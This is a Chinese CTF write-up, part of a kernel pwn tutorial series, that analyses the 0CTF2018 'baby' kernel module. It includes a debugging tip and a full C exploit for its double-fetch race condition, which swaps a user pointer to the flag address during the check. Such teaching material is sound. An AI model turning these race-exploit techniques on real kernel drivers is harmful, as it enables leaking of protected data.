0%

Kernel pwn 入门 (5)

条件竞争

在用户态pwn中有一类题型叫做条件竞争。当程序需要在不同时刻访问相同一块内存时,如果没有做好并发访问的限制和检查,就有可能会产生恶意数据或执行恶意代码。今天笔者就来分析一下内核态中的条件竞争,以一道经典的题辅助学习。

0CTF2018-baby(double fetch)

Step 1: 分析程序与调试

按照惯例,打开IDA。

这个模块实现的功能只有一个:ioctl。我们跟进到其调用的ioctl_impl函数看一下。

ioctl的指令码只有两种:0x6666和0x1337。当指令码为0x6666时,会打印出flag的地址。
当指令码为0x1337时,其会调用_chk_range_not_ok函数。一看名字就不难猜测,这是一个检查越界的函数:

上面的__CFADD__函数的功能是返回两个参数相加后的CF标志位。当两个参数相加在最高位产生进位时CF为1,否则为0。不难想到如果a1和a2相加产生进位,那么一定会导致越界溢出。传入的第三个参数应该是数组的末尾地址,后面要判断a1+a2是否大于v4。

回到ioctl_impl函数,这里判断传入的第三个参数不能大于*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x1358)这个东西。那这个东西到底是多少呢,我们写一个简单的程序调用一下这个模块看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//
// Created by root on 22-7-23.
//
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>

void print_binary(char* buf, int length);

// this is a universal function to print binary data from a char* array
void print_binary(char* buf, int length){
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
}

int main(){
int fd = open("/dev/baby", O_RDWR);
int a;
printf("%p\n", main);
scanf("%d", &a);
ioctl(fd, 0x6666);
char b[0x10] = {0};
ioctl(fd, 0x1337, b);
}

不知道是什么原因,本题的内核没有办法直接下断点,也没有办法将断点下在用户态程序中。尝试了很长时间,才找到调试的方法:

重要:内核模块调试方法:

首先打开init文件,将权限改为root(即在启动sh的那一行把gid从1000改成0),然后启动内核输入lsmod命令获取到模块的加载地址。然后我们不用去管syscall到底调用了模块的什么函数,不用去管这个函数在什么地方,直接将断点下在输出的加载地址上。注意,其输出的地址是模块加载的起始地址,但依然可以发挥断点的作用。

1
2
/ # lsmod
baby 16384 0 - Live 0xffffffffc02f8000 (OE)

如上面的输出,我们可以直接将断点下在0xffffffffc02f8000,而无需在其上加上ioctl函数的偏移,也可以起到断点的作用。(亲测有效)

通过这种方式,我们成功调试漏洞模块,然后找到了*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x1358)的值到底是多少:0x7ffffffff000。这是用户态栈区的最高地址,因此只要我们传入的是一个不太大的地址,都是可以的。

再回去看一下反汇编,注意第一个检查中的第一个参数cmpStr应该是一个指针,而第二个检查中的第二个参数应该表示字符串的长度,这里是将地址的值和第二个参数相加,因此不难猜测。即使猜不出来,第三个检查应该就非常明显了,检查这里的值是否等于flag的长度。flag的长度为33。因此我们要传入的参数应该是一个结构体的地址,这个结构体的前8字节是一个char*指针,后面8字节是33。

在判断之后,会对传入的字符串进行检查,如果与flag相等则输出flag。这里就产生了竞争条件漏洞。

如果在进行if判断的时候,我们的地址传入的是正常的用户态地址,而在执行后面的字符串比较时,这个地址就被改变到了flag处,会怎么样呢?显然模块会用flag去比较其自身,这样显然是相等的。然后flag就能够被输出。如果我们使用双线程,就可以和内核模块竞争字符串地址这块内存的访问。只要能够在这个时间窗口成功修改字符串地址,后面的检查就可以通过。因此简单点说,竞争条件就是“时间的活”。

在C语言中,我们使用pthread_create函数创建一个线程,可以让一个线程执行一个函数。具体的参数调用规则参见资料

因此我们写出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//
// Created by root on 22-7-23.
//
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>

typedef struct msg{
char* buffer;
int length;
}msg;
size_t flag_address;
bool success = false;
#define WRITE_TIME 1000
msg m;
pthread_t competition_thread;

void* competition(){
while(!success){
for(int i=0; i<WRITE_TIME; i++)
m.buffer = flag_address;
}
return NULL;
}

int main(){
int fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x6666);
system("dmesg | grep 'flag' > temp.txt");

int file = open("/temp.txt", O_RDWR);
char context[0x100] = {0};
read(file, context, 49);
flag_address = strtoull(context + 31, NULL, 16);
close(file);

m.buffer = context;
m.length = 33;

pthread_create(&competition_thread, NULL, competition, NULL);
while(!success){
for(int i=0; i<WRITE_TIME; i++){
m.buffer = context;
ioctl(fd, 0x1337, &m);
}
system("dmesg | grep 'flag' > temp.txt");
file = open("/temp.txt", O_RDWR);
read(file, context, 0x80);
if(strstr(context, "flag{") != NULL)
success = true;
}

printf("%s\n", context);

}

其中在规划两者竞争的时候需要注意应该如何写代码,我们应该让二者充分竞争,所以双方修改这一个地方的总次数最好不要相差太多,否则可能难以达到竞争的目的。

由此可见,本题中竞争条件的利用并不是很难,难就难在当我们拿到这一题时,我们应该怎样才能够发现这道题存在条件竞争漏洞。本题的条件竞争属于double fetch,它通常的流程是:检查代码首先访问某一块内存,确认数据没有问题后主要操作代码再一次访问同一块内存,显然当这块内存没有被上锁的情况下,中间的时间空当是可以被利用的,这种检查也是线程不安全的。